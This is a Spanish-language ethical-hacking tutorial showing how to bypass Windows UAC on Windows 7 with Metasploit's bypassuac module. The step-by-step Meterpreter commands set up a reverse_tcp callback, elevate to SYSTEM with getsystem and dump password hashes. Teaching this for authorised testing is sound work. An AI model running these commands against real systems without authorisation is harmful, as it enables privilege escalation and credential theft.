Escalar Privilegios en Windows Evadiendo UAC

El usuario Administrador en Windows tiene mucha autoridad, pero existen algunas cosas las cuales el Administrador no puede hacer. El usuario “root” en Linux es el usuario con nivel de “dios”, y en Windows el usuario “System” es la cuenta super usuario. UAC o por su traducción al idioma español es Control para el Acceso del Usuario parecía ser una molestia en la versión anterior de Windows, y muchas empresas simplemente la desactivaron. UAC funciona muy bien en Windows 7 y versiones posteriores, además su utilización incluso en los ajustes de seguridad más bajos previene muchos tipos de ataques los cuales funcionaban en Windows XP.

Incluso si se obtiene una sesión con nivel de “Administrador” en Metasploit Framework. UAC prevendrá el realizar ciertas cosas, como obtener los hashes de las contraseñas. Pero existe un módulo para evadir UAC en Meterpreter, el cual permite evadir la restricción y obtener el nivel de “System”, si la cuenta de usuario comprometida es “Administrador”.

Se inicia con una sesión Meterpreter en un sistema Windows 7, y un usuario con los privilegios de administrador.

Muchas herramientas en Metasploit Framework necesitan acceso con nivel de “System” para funcionar correctamente. El problema es debido a la característica de seguridad UAC de Windows el cual bloquea los intentos de ejecutar programas a un nivel elevado de seguridad. El módulo para evadir UAC en Metasploit Framework toma una sesión remota con un usuario el cual tiene privilegios de “Administrador”, y crear una nueva sesión la cual puede ser elevada hacia el nivel de “System” con el comando “getsystem”. El módulo para evadir UAC ha cambiado, y algunas veces se menciona ya no es funcional. De hecho funciona a menos un antivirus lo bloquee. Simplemente funciona de manera diferente.

Iniciado con una sesión activa, se procede a mandar la sesión a segundo plano.

meterpreter > background
msf exploit(handler) > sessions

Se utiliza el módulo para evadir UAC. Este módulo intentará evadir UAC de Windows utilizando un certificado publicador de confianza a través de un proceso de inyección. Esto desplegará una segunda shell la cual tendrá desactivada UAC.

msf exploit(handler) > use exploit/windows/local/bypassuac

Se ajustan las opciones adecuadas para ejecutar el módulo.

msf exploit(bypassuac) > set SESSION 1
msf exploit(bypassuac) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(bypassuac) > set LHOST 192.168. 0.X
smsf exploit(bypassuac) > set LPORT 7777
msf exploit(bypassuac) > exploit

Se ha creado y conectado hacia esta sesión en Meterpreter. Se ejecuta en comando “getsystem” para elevar privilegios.

meterpreter > getsystem
meterpreter > getuid

Ahora se tienen privilegios con nivel de “System” sobre un el sistema Windows. Se puede ver el usuario era de hecho un miembro del grupo “Administrador”. Funcionó la evasión UAC y una nueva sesión se crea. Ahora elevada la cuenta desde el nivel del usuario “Administrador” hacia la cuenta del nivel “System”, se puede acceder hacia áreas de Windows las cuales están normalmente protegidas. Por ejemplo se pueden volcar los hashes de las contraseñas del sistema.

meterpreter > run post/windows/gather/hashdump

Fuentes:

https://github.com/rapid7/metasploit-framework
https://technet.microsoft.com/en-us/library/cc731416(v=ws.10).aspx
https://www.rapid7.com/db/modules/post/windows/gather/hashdump

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor en Hacking Ético, Informática Forense & GNU/Linux
Correo Electrónico: ReYDeS@gmail.com
Twitter: @Alonso_ReYDeS
LinkedIn: pe.linkedin.com/in/alonsocaballeroquezada
Facebook: https://www.facebook.com/alonsoreydes
Resumen de mi CV: http://www.reydes.com/d/?q=node/1